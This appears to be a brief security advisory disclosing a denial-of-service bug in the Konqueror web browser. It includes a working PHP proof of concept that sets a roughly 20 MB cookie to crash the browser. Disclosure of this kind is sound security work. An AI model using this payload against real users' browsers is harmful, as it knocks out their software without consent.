1) Introduction
===========

"Konqueror is an Open Source web browser with HTML 4.01 compliance, supporting Java applets, JavaScript, CSS 1, CSS 2.1, as well as Netscape plugins (for example, Flash or RealVideo plugins)."

======
2) Bug
======

Konqueror doesn't handle big cookies, so when a big cookie is sended , konqueror will crash.

=====
3)Proof of concept
=====

Proof of concept example :

<?php
ini_set("memory_limit","200M");
setcookie("hi_fox", str_repeat("A",19999999));
?>
